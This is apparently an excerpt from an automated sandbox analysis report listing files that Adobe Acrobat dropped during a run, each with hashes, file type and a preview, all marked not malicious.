SHA-256:	FF9334289B8A609F22837647758056F00F862B3E422F5AB147E6B5E4C91C0E67
SHA-512:	2928A10108F7A7AB552C8E7F567DCB96D3D4AFF84D63A696D975FE4A65963018E4796DA1D9B457D60CBB5EFC53815CD19722A404930D6013286E4B54195BAD71
Malicious:	false
Preview:	2025/01/10-19:45:01.043 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:45:01.062 1c80 Recovering log #3.2025/01/10-19:45:01.068 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklOVLNttfllXlE/HT8k+lhlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKXfteT8r7NMa8RdWBwRd
MD5:	2460100B7EEC4FFE8C586B3DDEEF05E7
SHA1:	71EF336B6F8CD11BE7D69C12A11FFBEA9104443B
SHA-256:	F34AD4CB5765C528CAE2C868B5787819CEF482E088397BB0EEC9989AE2B6B6DA
SHA-512:	D0E9D85AE22101ABC0F1BEA8222A34072856C0E478D6C394E7D8A613C6837F913D547C5D7D3C326ABB0CC561310950342B923434E431250DF2E7A5A1D218989E
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....s...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.234591379520364
Encrypted:	false
SSDEEP:	6:kK2/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:O/iDImsLNkPlE99SNxAhUe/3
MD5:	8C35BFD724AE9D324D9CEAEAD3F04E88
SHA1:	5399F6B2AAAC8C68613596481E26E9E05AF608F5
SHA-256:	81592CCC1B23FDF6C189CC65759D6F099303477C9CB8B38A5C565F16AE21E4BE
SHA-512:	393B9876018F23D46EFC1B33E1D00242E8AE2AC038575ED3FB5CF16902CDE4061867465EFF6DE27843EE51795835AD6A99B3AC1140EEF10C3D5A77A5599BB257
Malicious:	false
Preview:	p...... ..........*".c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5832

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5832

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.331933235405846
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6RuWx+FIbRI6XVW7+0YVJWxoAvJM3g98kUwPeUkwRe9:YvXKXYuWUYpW7kJWOGMbLUkee9
MD5:	64FDD2280DF213D8618562D8B0D7F59E
SHA1:	6763D383B7E884BC44A9655D10E5ADDF014732F6
SHA-256:	53B07F760F11DD958BCE48DE80C6D0411B208984C27FE06C24CA0C32D035E18C
SHA-512:	9EACDBA1A52ACAE309C75A45C8520D6EBE73043ACA49D223926F776E8D6F1A9BEF7E048EB8A633FE7551CA927484E7CE3B0A0612F653FEDF758E63EE8F5DF3CF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.267401813089815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6RuWx+FIbRI6XVW7+0YVJWxoAvJfBoTfXpnrPeUkwRe9:YvXKXYuWUYpW7kJWOGWTfXcUkee9
MD5:	B426D8B89075CA990A3DEB155AE408FA
SHA1:	78688D8048F9C9611722B9BE5FEBFCE2E4F4DC83
SHA-256:	6A9E53A7496F5F7EDCFF5C8F0425F8A7936DA01EC1037CA321EF7AC2913804A9
SHA-512:	F36716981449D5B06D31CE5F2DF0E8E6DF29C2FC272DCD95B241F4B4F1F0641B3FA37CACB20DD5505AF1DDECE1E1667999784A167E0E21B896000383ED3C24EE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.24595012961582
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6RuWx+FIbRI6XVW7+0YVJWxoAvJfBD2G6UpnrPeUkwRe9:YvXKXYuWUYpW7kJWOGR22cUkee9
MD5:	64CBAA1E6AF0893E62ABA48D03F42384
SHA1:	48C89808EAFAC86C1BEA5FEF158467BCBB9F0451
SHA-256:	94DAFAD7E59F47E2F5F9971E1136509B345ADA2533064DB7F4D72F333FC8C339
SHA-512:	F775DCBCDC9A231F5C0E7B686284B05F044F7C49F3B854F9085C0BC589458FB2848FFF4A0A2EA2AAD2561B769186A86DCDA8226A2E23F5512D5A62B4721A5910
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.309723300747103
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6RuWx+FIbRI6XVW7+0YVJWxoAvJfPmwrPeUkwRe9:YvXKXYuWUYpW7kJWOGH56Ukee9
MD5:	4CB4B74E508E9167C4487F93F73E0FC3
SHA1:	7EEDE2D16AEB84BEF4231F6BDD17013803FDAEFB
SHA-256:	7CC5261468808AFB42E6205752F0D13F1992B170D02D632E385A5EEA111BD311
SHA-512:	DD7CB41629F84D9A58BDC636D8DCA880D7B0D52E7812E1030271F35C2B0595ED514CDF9BA980C85C3296A86487565C521ED44F6DC6D83ACA2D82070958EF76E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687476027774747
Encrypted:	false
SSDEEP:	24:Yv6XUFikY7pLgE9cQx8LennAvzBvkn0RCmK8czOCCSF:Yvsdhgy6SAFv5Ah8cv/F
MD5:	43109ECA40CD11B953527D7442D88A6F
SHA1:	7BCF900F36C0C46AA77410153C242595BEA5B12B
SHA-256:	6997E75F02C8A175142CDBE173DB5A476181474E76D13799A2B28448968A14C1
SHA-512:	76FFF27347790E4501B2F4D4C3D89197CA3DCA3F4B38D25FE0CBF320A3E3238326C189F0334011E2CC3D4835E42F0D3B451834F1CA57A0D2064556BD005BB992
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.255421890942738
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6RuWx+FIbRI6XVW7+0YVJWxoAvJf8dPeUkwRe9:YvXKXYuWUYpW7kJWOGU8Ukee9
MD5:	B14E4C4B2FC03CA92714354295A84800
SHA1:	1D8697C10F483A20791D432BA443A9412BEF0AC4
SHA-256:	40442F1A32D7904E4543E4F8661A25F336B5B13F9529E150975B18B79F9C9CD8
SHA-512:	AABECBEA84D60479E8EF7AFD8745247B3F805DCEA6AE9D89AB58E9F46EDFCFF2146DB2FD833FC709E278EEA94D7FCD09E0C729909E9A2856EDF17254CB215A94
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.256853284631795
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6RuWx+FIbRI6XVW7+0YVJWxoAvJfQ1rPeUkwRe9:YvXKXYuWUYpW7kJWOGY16Ukee9
MD5:	B72435369919D2E280ECF1008E987680
SHA1:	26F3D30A6E771AECB371673C008F5152540142DD
SHA-256:	E9621B6F5A69907A4F29D4C378CD1C87255B8DE79278AC098A34559D2240FBFE
SHA-512:	16C4D72519B59EAA6707A3488836E6BD73BE58E73FF1DAB2D988930376A970F876C1C40F5EA5AA45630BADEE2A7D106C33400CC74FE74E24B8338AA213D03337
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.276944119872664
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6RuWx+FIbRI6XVW7+0YVJWxoAvJfFldPeUkwRe9:YvXKXYuWUYpW7kJWOGz8Ukee9
MD5:	4848B3BF12D5BB6F524FD8E1915B3D6B
SHA1:	C954BAB4D93BFE62FDD45751AF8E474925ABC6FF
SHA-256:	5F83645DA9E9F2A6E9E5FDAAA587A3818AE43F3DAC8347F872D1573BE4472CEC
SHA-512:	DCF834723C12C97D37D8C72A85ECDCB8349FF2B3F1CA38D2038F3129A2FAE495879DCDB3655F5C010C569BA5C45F98E05071D6C4397A2A67741C3A289F0F1257
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.283494998743918
Encrypted:	false
